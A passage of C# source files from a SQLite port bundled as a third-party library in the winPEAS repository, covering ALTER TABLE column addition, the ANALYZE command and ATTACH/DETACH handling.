) { sqlite3ErrorMsg( pParse, "Cannot add a column with non-constant default" ); return; } sqlite3ValueFree( ref pVal ); } /* Modify the CREATE TABLE statement. */ zCol = pColDef.z.Substring( 0, pColDef.n ).Replace( ";", " " ).Trim();//sqlite3DbStrNDup(db, (char*)pColDef.z, pColDef.n); if ( zCol != null ) { // char zEnd = zCol[pColDef.n-1]; // while( zEnd>zCol && (*zEnd==';' || sqlite3Isspace(*zEnd)) ){ // zEnd-- = '\0'; // } sqlite3NestedParse( pParse, "UPDATE \"%w\".%s SET " + "sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) " + "WHERE type = 'table' AND name = %Q", zDb, SCHEMA_TABLE( iDb ), pNew.addColOffset, zCol, pNew.addColOffset + 1, zTab ); //sqlite3DbFree( db, ref zCol ); } /* If the default value of the new column is NULL, then set the file ** format to 2. If the default value of the new column is not NULL, ** the file format becomes 3. */ sqlite3MinimumFileFormat( pParse, iDb, pDflt != null ? 3 : 2 ); /* Reload the schema of the modified table. */ reloadTableSchema( pParse, pTab, pTab.zName ); } /* ** This function is called by the parser after the table-name in ** an "ALTER TABLE ADD" statement is parsed. Argument ** pSrc is the full-name of the table being altered. ** ** This routine makes a (partial) copy of the Table structure ** for the table being altered and sets Parse.pNewTable to point ** to it. Routines called by the parser as the column definition ** is parsed (i.e. sqlite3AddColumn()) add the new Column data to ** the copy. The copy of the Table structure is deleted by tokenize.c ** after parsing is finished. ** ** Routine sqlite3AlterFinishAddColumn() will be called to complete ** coding the "ALTER TABLE ... ADD" statement. */ static void sqlite3AlterBeginAddColumn( Parse pParse, SrcList pSrc ) { Table pNew; Table pTab; Vdbe v; int iDb; int i; int nAlloc; sqlite3 db = pParse.db; /* Look up the table being altered. */ Debug.Assert( pParse.pNewTable == null ); Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); // if ( db.mallocFailed != 0 ) goto exit_begin_add_column; pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase ); if ( pTab == null ) goto exit_begin_add_column; if ( IsVirtual( pTab ) ) { sqlite3ErrorMsg( pParse, "virtual tables may not be altered" ); goto exit_begin_add_column; } /* Make sure this is not an attempt to ALTER a view. */ if ( pTab.pSelect != null ) { sqlite3ErrorMsg( pParse, "Cannot add a column to a view" ); goto exit_begin_add_column; } Debug.Assert( pTab.addColOffset > 0 ); iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); /* Put a copy of the Table struct in Parse.pNewTable for the ** sqlite3AddColumn() function and friends to modify. But modify ** the name by adding an "sqlite_altertab_" prefix. By adding this ** prefix, we insure that the name will not collide with an existing ** table because user table are not allowed to have the "sqlite_" ** prefix on their name. */ pNew = new Table();// (Table*)sqlite3DbMallocZero( db, sizeof(Table)) if ( pNew == null ) goto exit_begin_add_column; pParse.pNewTable = pNew; pNew.nRef = 1; pNew.dbMem = pTab.dbMem; pNew.nCol = pTab.nCol; Debug.Assert( pNew.nCol > 0 ); nAlloc = ( ( ( pNew.nCol - 1 ) / 8 ) * 8 ) + 8; Debug.Assert( nAlloc >= pNew.nCol && nAlloc % 8 == 0 && nAlloc - pNew.nCol < 8 ); pNew.aCol = new Column[nAlloc];// (Column*)sqlite3DbMallocZero( db, sizeof(Column) * nAlloc ); pNew.zName = sqlite3MPrintf( db, "sqlite_altertab_%s", pTab.zName ); if ( pNew.aCol == null || pNew.zName == null ) { // db.mallocFailed = 1; goto exit_begin_add_column; } // memcpy( pNew.aCol, pTab.aCol, sizeof(Column) * pNew.nCol ); for ( i = 0 ; i < pNew.nCol ; i++ ) { Column pCol = pTab.aCol[i].Copy(); // sqlite3DbStrDup( db, pCol.zName ); pCol.zColl = null; pCol.zType = null; pCol.pDflt = null; pCol.zDflt = null; pNew.aCol[i] = pCol; } pNew.pSchema = db.aDb[iDb].pSchema; pNew.addColOffset = pTab.addColOffset; pNew.nRef = 1; /* Begin a transaction and increment the schema cookie. */ sqlite3BeginWriteOperation( pParse, 0, iDb ); v = sqlite3GetVdbe( pParse ); if ( v == null ) goto exit_begin_add_column; sqlite3ChangeCookie( pParse, iDb ); exit_begin_add_column: sqlite3SrcListDelete( db, ref pSrc ); return; } #endif // * SQLITE_ALTER_TABLE */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/analyze_c.cs ================================================ using System.Diagnostics; using u8 = System.Byte; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_int64 = System.Int64; public partial class CSSQLite { /* ** 2005 July 8 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains code associated with the ANALYZE command. ** ** @(#) $Id: analyze.c,v 1.52 2009/04/16 17:45:48 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ #if !SQLITE_OMIT_ANALYZE //#include "sqliteInt.h" /* ** This routine generates code that opens the sqlite_stat1 table on cursor ** iStatCur. ** ** If the sqlite_stat1 tables does not previously exist, it is created. ** If it does previously exist, all entires associated with table zWhere ** are removed. If zWhere==0 then all entries are removed. */ static void openStatTable( Parse pParse, /* Parsing context */ int iDb, /* The database we are looking in */ int iStatCur, /* Open the sqlite_stat1 table on this cursor */ string zWhere /* Delete entries associated with this table */ ) { sqlite3 db = pParse.db; Db pDb; int iRootPage; u8 createStat1 = 0; Table pStat; Vdbe v = sqlite3GetVdbe( pParse ); if ( v == null ) return; Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); Debug.Assert( sqlite3VdbeDb( v ) == db ); pDb = db.aDb[iDb]; if ( ( pStat = sqlite3FindTable( db, "sqlite_stat1", pDb.zName ) ) == null ) { /* The sqlite_stat1 tables does not exist. Create it. ** Note that a side-effect of the CREATE TABLE statement is to leave ** the rootpage of the new table in register pParse.regRoot. This is ** important because the OpenWrite opcode below will be needing it. */ sqlite3NestedParse( pParse, "CREATE TABLE %Q.sqlite_stat1(tbl,idx,stat)", pDb.zName ); iRootPage = pParse.regRoot; createStat1 = 1; /* Cause rootpage to be taken from top of stack */ } else if ( zWhere != null ) { /* The sqlite_stat1 table exists. Delete all entries associated with ** the table zWhere. */ sqlite3NestedParse( pParse, "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q", pDb.zName, zWhere ); iRootPage = pStat.tnum; } else { /* The sqlite_stat1 table already exists. Delete all rows. */ iRootPage = pStat.tnum; sqlite3VdbeAddOp2( v, OP_Clear, pStat.tnum, iDb ); } /* Open the sqlite_stat1 table for writing. Unless it was created ** by this vdbe program, lock it for writing at the shared-cache level. ** If this vdbe did create the sqlite_stat1 table, then it must have ** already obtained a schema-lock, making the write-lock redundant. */ if ( createStat1 == 0 ) { sqlite3TableLock( pParse, iDb, iRootPage, 1, "sqlite_stat1" ); } sqlite3VdbeAddOp3( v, OP_OpenWrite, iStatCur, iRootPage, iDb ); sqlite3VdbeChangeP4( v, -1, (int)3, P4_INT32 ); sqlite3VdbeChangeP5( v, createStat1 ); } /* ** Generate code to do an analysis of all indices associated with ** a single table. */ static void analyzeOneTable( Parse pParse, /* Parser context */ Table pTab, /* Table whose indices are to be analyzed */ int iStatCur, /* Index of VdbeCursor that writes the sqlite_stat1 table */ int iMem /* Available memory locations begin here */ ) { Index pIdx; /* An index to being analyzed */ int iIdxCur; /* Index of VdbeCursor for index being analyzed */ int nCol; /* Number of columns in the index */ Vdbe v; /* The virtual machine being built up */ int i; /* Loop counter */ int topOfLoop; /* The top of the loop */ int endOfLoop; /* The end of the loop */ int addr; /* The address of an instruction */ int iDb; /* Index of database containing pTab */ v = sqlite3GetVdbe( pParse ); if ( v == null || NEVER( pTab == null ) || pTab.pIndex == null ) { /* Do no analysis for tables that have no indices */ return; } Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); Debug.Assert( iDb >= 0 ); #if !SQLITE_OMIT_AUTHORIZATION if( sqlite3AuthCheck(pParse, SQLITE_ANALYZE, pTab.zName, 0, pParse.db.aDb[iDb].zName ) ){ return; } #endif /* Establish a read-lock on the table at the shared-cache level. */ sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); iIdxCur = pParse.nTab++; for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx ); int regFields; /* Register block for building records */ int regRec; /* Register holding completed record */ int regTemp; /* Temporary use register */ int regCol; /* Content of a column from the table being analyzed */ int regRowid; /* Rowid for the inserted record */ int regF2; /* Open a cursor to the index to be analyzed */ Debug.Assert( iDb == sqlite3SchemaToIndex( pParse.db, pIdx.pSchema ) ); nCol = pIdx.nColumn; sqlite3VdbeAddOp4( v, OP_OpenRead, iIdxCur, pIdx.tnum, iDb, pKey, P4_KEYINFO_HANDOFF ); #if SQLITE_DEBUG VdbeComment( v, "%s", pIdx.zName ); #endif regFields = iMem + nCol * 2; regTemp = regRowid = regCol = regFields + 3; regRec = regCol + 1; if ( regRec > pParse.nMem ) { pParse.nMem = regRec; } /* Memory cells are used as follows: ** ** mem[iMem]: The total number of rows in the table. ** mem[iMem+1]: Number of distinct values in column 1 ** ... ** mem[iMem+nCol]: Number of distinct values in column N ** mem[iMem+nCol+1] Last observed value of column 1 ** ... ** mem[iMem+nCol+nCol]: Last observed value of column N ** ** Cells iMem through iMem+nCol are initialized to 0. The others ** are initialized to NULL. */ for ( i = 0 ; i <= nCol ; i++ ) { sqlite3VdbeAddOp2( v, OP_Integer, 0, iMem + i ); } for ( i = 0 ; i < nCol ; i++ ) { sqlite3VdbeAddOp2( v, OP_Null, 0, iMem + nCol + i + 1 ); } /* Do the analysis. */ endOfLoop = sqlite3VdbeMakeLabel( v ); sqlite3VdbeAddOp2( v, OP_Rewind, iIdxCur, endOfLoop ); topOfLoop = sqlite3VdbeCurrentAddr( v ); sqlite3VdbeAddOp2( v, OP_AddImm, iMem, 1 ); for ( i = 0 ; i < nCol ; i++ ) { sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, regCol ); sqlite3VdbeAddOp3( v, OP_Ne, regCol, 0, iMem + nCol + i + 1 ); /**** TODO: add collating sequence *****/ sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); } sqlite3VdbeAddOp2( v, OP_Goto, 0, endOfLoop ); for ( i = 0 ; i < nCol ; i++ ) { sqlite3VdbeJumpHere( v, topOfLoop + 2 * ( i + 1 ) ); sqlite3VdbeAddOp2( v, OP_AddImm, iMem + i + 1, 1 ); sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, iMem + nCol + i + 1 ); } sqlite3VdbeResolveLabel( v, endOfLoop ); sqlite3VdbeAddOp2( v, OP_Next, iIdxCur, topOfLoop ); sqlite3VdbeAddOp1( v, OP_Close, iIdxCur ); /* Store the results. ** ** The result is a single row of the sqlite_stat1 table. The first ** two columns are the names of the table and index. The third column ** is a string composed of a list of integer statistics about the ** index. The first integer in the list is the total number of entries ** in the index. There is one additional integer in the list for each ** column of the table. This additional integer is a guess of how many ** rows of the table the index will select. If D is the count of distinct ** values and K is the total number of rows, then the integer is computed ** as: ** ** I = (K+D-1)/D ** ** If K==0 then no entry is made into the sqlite_stat1 table. ** If K>0 then it is always the case the D>0 so division by zero ** is never possible. */ addr = sqlite3VdbeAddOp1( v, OP_IfNot, iMem ); sqlite3VdbeAddOp4( v, OP_String8, 0, regFields, 0, pTab.zName, 0 ); sqlite3VdbeAddOp4( v, OP_String8, 0, regFields + 1, 0, pIdx.zName, 0 ); regF2 = regFields + 2; sqlite3VdbeAddOp2( v, OP_SCopy, iMem, regF2 ); for ( i = 0 ; i < nCol ; i++ ) { sqlite3VdbeAddOp4( v, OP_String8, 0, regTemp, 0, ' ', 0 ); sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regF2, regF2 ); sqlite3VdbeAddOp3( v, OP_Add, iMem, iMem + i + 1, regTemp ); sqlite3VdbeAddOp2( v, OP_AddImm, regTemp, -1 ); sqlite3VdbeAddOp3( v, OP_Divide, iMem + i + 1, regTemp, regTemp ); sqlite3VdbeAddOp1( v, OP_ToInt, regTemp ); sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regF2, regF2 ); } sqlite3VdbeAddOp4( v, OP_MakeRecord, regFields, 3, regRec, new byte[] { (byte)'a', (byte)'a', (byte)'a' }, 0 ); sqlite3VdbeAddOp2( v, OP_NewRowid, iStatCur, regRowid ); sqlite3VdbeAddOp3( v, OP_Insert, iStatCur, regRec, regRowid ); sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); sqlite3VdbeJumpHere( v, addr ); } } /* ** Generate code that will cause the most recent index analysis to ** be laoded into internal hash tables where is can be used. */ static void loadAnalysis( Parse pParse, int iDb ) { Vdbe v = sqlite3GetVdbe( pParse ); if ( v != null ) { sqlite3VdbeAddOp1( v, OP_LoadAnalysis, iDb ); } } /* ** Generate code that will do an analysis of an entire database */ static void analyzeDatabase( Parse pParse, int iDb ) { sqlite3 db = pParse.db; Schema pSchema = db.aDb[iDb].pSchema; /* Schema of database iDb */ HashElem k; int iStatCur; int iMem; sqlite3BeginWriteOperation( pParse, 0, iDb ); iStatCur = pParse.nTab++; openStatTable( pParse, iDb, iStatCur, null ); iMem = pParse.nMem + 1; //for(k=sqliteHashFirst(pSchema.tblHash); k; k=sqliteHashNext(k)){ for ( k = pSchema.tblHash.first ; k != null ; k = k.next ) { Table pTab = (Table)k.data;// sqliteHashData( k ); analyzeOneTable( pParse, pTab, iStatCur, iMem ); } loadAnalysis( pParse, iDb ); } /* ** Generate code that will do an analysis of a single table in ** a database. */ static void analyzeTable( Parse pParse, Table pTab ) { int iDb; int iStatCur; Debug.Assert( pTab != null ); Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); sqlite3BeginWriteOperation( pParse, 0, iDb ); iStatCur = pParse.nTab++; openStatTable( pParse, iDb, iStatCur, pTab.zName ); analyzeOneTable( pParse, pTab, iStatCur, pParse.nMem + 1 ); loadAnalysis( pParse, iDb ); } /* ** Generate code for the ANALYZE command. The parser calls this routine ** when it recognizes an ANALYZE command. ** ** ANALYZE -- 1 ** ANALYZE -- 2 ** ANALYZE ?.? -- 3 ** ** Form 1 causes all indices in all attached databases to be analyzed. ** Form 2 analyzes all indices the single database named. ** Form 3 analyzes all indices associated with the named table. */ // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3Analyze( Parse pParse, int null_2, int null_3 ) { sqlite3Analyze( pParse, null, null ); } static void sqlite3Analyze( Parse pParse, Token pName1, Token pName2 ) { sqlite3 db = pParse.db; int iDb; int i; string z, zDb; Table pTab; Token pTableName = null; /* Read the database schema. If an error occurs, leave an error message ** and code in pParse and return NULL. */ Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) { return; } Debug.Assert( pName2 != null || pName1 == null ); if ( pName1 == null ) { /* Form 1: Analyze everything */ for ( i = 0 ; i < db.nDb ; i++ ) { if ( i == 1 ) continue; /* Do not analyze the TEMP database */ analyzeDatabase( pParse, i ); } } else if ( pName2.n == 0 ) { /* Form 2: Analyze the database or table named */ iDb = sqlite3FindDb( db, pName1 ); if ( iDb >= 0 ) { analyzeDatabase( pParse, iDb ); } else { z = sqlite3NameFromToken( db, pName1 ); if ( z != null ) { pTab = sqlite3LocateTable( pParse, 0, z, null ); //sqlite3DbFree( db, ref z ); if ( pTab != null ) { analyzeTable( pParse, pTab ); } } } } else { /* Form 3: Analyze the fully qualified table name */ iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pTableName ); if ( iDb >= 0 ) { zDb = db.aDb[iDb].zName; z = sqlite3NameFromToken( db, pTableName ); if ( z != null ) { pTab = sqlite3LocateTable( pParse, 0, z, zDb ); //sqlite3DbFree( db, ref z ); if ( pTab != null ) { analyzeTable( pParse, pTab ); } } } } } /* ** Used to pass information from the analyzer reader through to the ** callback routine. */ //typedef struct analysisInfo analysisInfo; public struct analysisInfo { public sqlite3 db; public string zDatabase; }; /* ** This callback is invoked once for each index when reading the ** sqlite_stat1 table. ** ** argv[0] = name of the index ** argv[1] = results of analysis - on integer for each column */ static int analysisLoader( object pData, sqlite3_int64 argc, object Oargv, object NotUsed ) { string[] argv = (string[])Oargv; analysisInfo pInfo = (analysisInfo)pData; Index pIndex; int i, c; int v; string z; Debug.Assert( argc == 2 ); UNUSED_PARAMETER2( NotUsed, argc ); if ( argv == null || argv[0] == null || argv[1] == null ) { return 0; } pIndex = sqlite3FindIndex( pInfo.db, argv[0], pInfo.zDatabase ); if ( pIndex == null ) { return 0; } z = argv[1]; int zIndex = 0; for ( i = 0 ; z != null && i <= pIndex.nColumn ; i++ ) { v = 0; while ( zIndex < z.Length && ( c = z[zIndex] ) >= '0' && c <= '9' ) { v = v * 10 + c - '0'; zIndex++; } pIndex.aiRowEst[i] = v; if ( zIndex < z.Length && z[zIndex] == ' ' ) zIndex++; } return 0; } /* ** Load the content of the sqlite_stat1 table into the index hash tables. */ static int sqlite3AnalysisLoad( sqlite3 db, int iDb ) { analysisInfo sInfo; HashElem i; string zSql; int rc; Debug.Assert( iDb >= 0 && iDb < db.nDb ); Debug.Assert( db.aDb[iDb].pBt != null ); Debug.Assert( sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) ); /* Clear any prior statistics */ //for(i=sqliteHashFirst(&db.aDb[iDb].pSchema.idxHash);i;i=sqliteHashNext(i)){ for ( i = db.aDb[iDb].pSchema.idxHash.first ; i != null ; i = i.next ) { Index pIdx = (Index)i.data;// sqliteHashData( i ); sqlite3DefaultRowEst( pIdx ); } /* Check to make sure the sqlite_stat1 table exists */ sInfo.db = db; sInfo.zDatabase = db.aDb[iDb].zName; if ( sqlite3FindTable( db, "sqlite_stat1", sInfo.zDatabase ) == null ) { return SQLITE_ERROR; } /* Load new statistics out of the sqlite_stat1 table */ zSql = sqlite3MPrintf( db, "SELECT idx, stat FROM %Q.sqlite_stat1", sInfo.zDatabase ); if ( zSql == null ) { rc = SQLITE_NOMEM; } else { sqlite3SafetyOff( db ); rc = sqlite3_exec( db, zSql, (dxCallback)analysisLoader, sInfo, 0 ); sqlite3SafetyOn( db ); //sqlite3DbFree( db, ref zSql ); // if ( rc == SQLITE_NOMEM ) db.mallocFailed = 1; } return rc; } #endif // * SQLITE_OMIT_ANALYZE */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/attach_c.cs ================================================ using System; using System.Diagnostics; using u8 = System.Byte; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_value = CSSQLite.Mem; public partial class CSSQLite { /* ** 2003 April 6 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains code used to implement the ATTACH and DETACH commands. ** ** $Id: attach.c,v 1.93 2009/05/31 21:21:41 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" #if !SQLITE_OMIT_ATTACH /* ** Resolve an expression that was part of an ATTACH or DETACH statement. This ** is slightly different from resolving a normal SQL expression, because simple ** identifiers are treated as strings, not possible column names or aliases. ** ** i.e. if the parser sees: ** ** ATTACH DATABASE abc AS def ** ** it treats the two expressions as literal strings 'abc' and 'def' instead of ** looking for columns of the same name. ** ** This only applies to the root node of pExpr, so the statement: ** ** ATTACH DATABASE abc||def AS 'db2' ** ** will fail because neither abc or def can be resolved. */ static int resolveAttachExpr( NameContext pName, Expr pExpr ) { int rc = SQLITE_OK; if ( pExpr != null ) { if ( pExpr.op != TK_ID ) { rc = sqlite3ResolveExprNames( pName, ref pExpr ); if ( rc == SQLITE_OK && sqlite3ExprIsConstant( pExpr ) == 0 ) { sqlite3ErrorMsg( pName.pParse, "invalid name: \"%s\"", pExpr.u.zToken ); return SQLITE_ERROR; } } else { pExpr.op = TK_STRING; } } return rc; } /* ** An SQL user-function registered to do the work of an ATTACH statement. The ** three arguments to the function come directly from an attach statement: ** ** ATTACH DATABASE x AS y KEY z ** ** SELECT sqlite_attach(x, y, z) ** ** If the optional "KEY z" syntax is omitted, an SQL NULL is passed as the ** third argument. */ static void attachFunc( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { int i; int rc = 0; sqlite3 db = sqlite3_context_db_handle( context ); string zName; string zFile; Db aNew = null; string zErrDyn = ""; UNUSED_PARAMETER( NotUsed ); zFile = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : ""; zName = argv[1].z != null && ( argv[1].z.Length > 0 ) ? sqlite3_value_text( argv[1] ) : ""; //if( zFile==null ) zFile = ""; //if ( zName == null ) zName = ""; /* Check for the following errors: ** ** * Too many attached databases, ** * Transaction currently open ** * Specified database name already being used. */ if ( db.nDb >= db.aLimit[SQLITE_LIMIT_ATTACHED] + 2 ) { zErrDyn = sqlite3MPrintf( db, "too many attached databases - max %d", db.aLimit[SQLITE_LIMIT_ATTACHED] ); goto attach_error; } if ( 0 == db.autoCommit ) { zErrDyn = sqlite3MPrintf( db, "cannot ATTACH database within transaction" ); goto attach_error; } for ( i = 0 ; i < db.nDb ; i++ ) { string z = db.aDb[i].zName; Debug.Assert( z != null && zName != null ); if ( sqlite3StrICmp( z, zName ) == 0 ) { zErrDyn = sqlite3MPrintf( db, "database %s is already in use", zName ); goto attach_error; } } /* Allocate the new entry in the db.aDb[] array and initialise the schema ** hash tables. */ /* Allocate the new entry in the db.aDb[] array and initialise the schema ** hash tables. */ //if( db.aDb==db.aDbStatic ){ // aNew = sqlite3DbMallocRaw(db, sizeof(db.aDb[0])*3 ); // if( aNew==0 ) return; // memcpy(aNew, db.aDb, sizeof(db.aDb[0])*2); //}else { if ( db.aDb.Length <= db.nDb ) Array.Resize( ref db.aDb, db.nDb + 1 );//aNew = sqlite3DbRealloc(db, db.aDb, sizeof(db.aDb[0])*(db.nDb+1) ); if ( db.aDb == null ) return; // if( aNew==0 ) return; //} db.aDb[db.nDb] = new Db();//db.aDb = aNew; aNew = db.aDb[db.nDb];//memset(aNew, 0, sizeof(*aNew)); // memset(aNew, 0, sizeof(*aNew)); /* Open the database file. If the btree is successfully opened, use ** it to obtain the database schema. At this point the schema may ** or may not be initialised. */ rc = sqlite3BtreeFactory( db, zFile, false, SQLITE_DEFAULT_CACHE_SIZE, db.openFlags | SQLITE_OPEN_MAIN_DB, ref aNew.pBt ); db.nDb++; if ( rc == SQLITE_CONSTRAINT ) { rc = SQLITE_ERROR; zErrDyn = sqlite3MPrintf( db, "database is already attached" ); } else if ( rc == SQLITE_OK ) { Pager pPager; aNew.pSchema = sqlite3SchemaGet( db, aNew.pBt ); if ( aNew.pSchema == null ) { rc = SQLITE_NOMEM; } else if ( aNew.pSchema.file_format != 0 && aNew.pSchema.enc != ENC( db ) ) { zErrDyn = sqlite3MPrintf( db, "attached databases must use the same text encoding as main database" ); rc = SQLITE_ERROR; } pPager = sqlite3BtreePager( aNew.pBt ); sqlite3PagerLockingMode( pPager, db.dfltLockMode ); sqlite3PagerJournalMode( pPager, db.dfltJournalMode ); } aNew.zName = zName;// sqlite3DbStrDup( db, zName ); aNew.safety_level = 3; #if SQLITE_HAS_CODEC { extern int sqlite3CodecAttach(sqlite3*, int, const void*, int); extern void sqlite3CodecGetKey(sqlite3*, int, void**, int*); int nKey; char *zKey; int t = sqlite3_value_type(argv[2]); switch( t ){ case SQLITE_INTEGER: case SQLITE_FLOAT: zErrDyn = sqlite3DbStrDup(db, "Invalid key value"); rc = SQLITE_ERROR; break; case SQLITE_TEXT: case SQLITE_BLOB: nKey = sqlite3_value_bytes(argv[2]); zKey = (char *)sqlite3_value_blob(argv[2]); sqlite3CodecAttach(db, db.nDb-1, zKey, nKey); break; case SQLITE_NULL: /* No key specified. Use the key from the main database */ sqlite3CodecGetKey(db, 0, (void**)&zKey, nKey); sqlite3CodecAttach(db, db.nDb-1, zKey, nKey); break; } } #endif /* If the file was opened successfully, read the schema for the new database. ** If this fails, or if opening the file failed, then close the file and ** remove the entry from the db.aDb[] array. i.e. put everything back the way ** we found it. */ if ( rc == SQLITE_OK ) { sqlite3SafetyOn( db ); sqlite3BtreeEnterAll( db ); rc = sqlite3Init( db, ref zErrDyn ); sqlite3BtreeLeaveAll( db ); sqlite3SafetyOff( db ); } if ( rc != 0 ) { int iDb = db.nDb - 1; Debug.Assert( iDb >= 2 ); if ( db.aDb[iDb].pBt != null ) { sqlite3BtreeClose( ref db.aDb[iDb].pBt ); db.aDb[iDb].pBt = null; db.aDb[iDb].pSchema = null; } sqlite3ResetInternalSchema( db, 0 ); db.nDb = iDb; if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) { //// db.mallocFailed = 1; //sqlite3DbFree( db, zErrDyn ); zErrDyn = sqlite3MPrintf( db, "out of memory" ); } else if ( zErrDyn == "" ) { zErrDyn = sqlite3MPrintf( db, "unable to open database: %s", zFile ); } goto attach_error; } return; attach_error: /* Return an error if we get here */ if ( zErrDyn != "" ) { sqlite3_result_error( context, zErrDyn, -1 ); //sqlite3DbFree( db, ref zErrDyn ); } if ( rc != 0 ) sqlite3_result_error_code( context, rc ); } /* ** An SQL user-function registered to do the work of an DETACH statement. The ** three arguments to the function come directly from a detach statement: ** ** DETACH DATABASE x ** ** SELECT sqlite_detach(x) */ static void detachFunc( sqlite3_context context, int NotUsed, sqlite3_value[] argv ) { string zName = zName = argv[0].z != null && ( argv[0].z.Length > 0 ) ? sqlite3_value_text( argv[0] ) : "";//(sqlite3_value_text(argv[0]); sqlite3 db = sqlite3_context_db_handle( context ); int i; Db pDb = null; string zErr = ""; UNUSED_PARAMETER( NotUsed ); if ( zName == null ) zName = ""; for ( i = 0 ; i < db.nDb ; i++ ) { pDb = db.aDb[i]; if ( pDb.pBt == null ) continue; if ( sqlite3StrICmp( pDb.zName, zName ) == 0 ) break; } if ( i >= db.nDb ) { sqlite3_snprintf( 200, ref zErr, "no such database: %s", zName ); goto detach_error; } if ( i < 2 ) { sqlite3_snprintf( 200, ref zErr, "cannot detach database %s", zName ); goto detach_error; } if ( 0 == db.autoCommit ) { sqlite3_snprintf( 200, ref zErr, "cannot DETACH database within transaction" ); goto detach_error; } if ( sqlite3BtreeIsInReadTrans( pDb.pBt ) || sqlite3BtreeIsInBackup( pDb.pBt ) ) { sqlite3_snprintf( 200, ref zErr, "database %s is locked", zName ); goto detach_error; } sqlite3BtreeClose( ref pDb.pBt ); pDb.pBt = null; pDb.pSchema = null; sqlite3ResetInternalSchema( db, 0 ); return; detach_error: sqlite3_result_error( context, zErr, -1 ); } /* ** This procedure generates VDBE code for a single invocation of either the ** sqlite_detach() or sqlite_attach() SQL user functions. */ static void codeAttach( Parse pParse, /* The parser context */ int type, /* Either SQLITE_ATTACH or SQLITE_DETACH */ FuncDef pFunc, /* FuncDef wrapper for detachFunc() or attachFunc() */ Expr pAuthArg, /* Expression to pass to authorization callback */ Expr pFilename, /* Name of database file */ Expr pDbname, /* Name of the database to use internally */ Expr pKey /* Database key for encryption extension */ ) { int rc; NameContext sName; Vdbe v; sqlite3 db = pParse.db; int regArgs; sName = new NameContext();// memset( &sName, 0, sizeof(NameContext)); sName.pParse = pParse; if ( SQLITE_OK != ( rc = resolveAttachExpr( sName, pFilename ) ) || SQLITE_OK != ( rc = resolveAttachExpr( sName, pDbname ) ) || SQLITE_OK != ( rc = resolveAttachExpr( sName, pKey ) ) ) { pParse.nErr++; goto attach_end; } #if !SQLITE_OMIT_AUTHORIZATION if( pAuthArg ){ char *zAuthArg = pAuthArg->u.zToken; if( NEVER(zAuthArg==0) ){ goto attach_end; } rc = sqlite3AuthCheck(pParse, type, zAuthArg, 0, 0); if(rc!=SQLITE_OK ){ goto attach_end; } } #endif //* SQLITE_OMIT_AUTHORIZATION */ v = sqlite3GetVdbe( pParse ); regArgs = sqlite3GetTempRange( pParse, 4 ); sqlite3ExprCode( pParse, pFilename, regArgs ); sqlite3ExprCode( pParse, pDbname, regArgs + 1 ); sqlite3ExprCode( pParse, pKey, regArgs + 2 ); Debug.Assert( v != null /*|| db.mallocFailed != 0 */ ); if ( v != null ) { sqlite3VdbeAddOp3( v, OP_Function, 0, regArgs + 3 - pFunc.nArg, regArgs + 3 ); Debug.Assert( pFunc.nArg == -1 || ( pFunc.nArg & 0xff ) == pFunc.nArg ); sqlite3VdbeChangeP5( v, (u8)( pFunc.nArg ) ); sqlite3VdbeChangeP4( v, -1, pFunc, P4_FUNCDEF ); /* Code an OP_Expire. For an ATTACH statement, set P1 to true (expire this ** statement only). For DETACH, set it to false (expire all existing ** statements). */ sqlite3VdbeAddOp1( v, OP_Expire, ( type == SQLITE_ATTACH ) ? 1 : 0 ); } attach_end: sqlite3ExprDelete( db, ref pFilename ); sqlite3ExprDelete( db, ref pDbname ); sqlite3ExprDelete( db, ref pKey ); } /* ** Called by the parser to compile a DETACH statement. ** ** DETACH pDbname */ static void sqlite3Detach( Parse pParse, Expr pDbname ) { FuncDef detach_func = new FuncDef( 1, /* nArg */ SQLITE_UTF8, /* iPrefEnc */ 0, /* flags */ null, /* pUserData 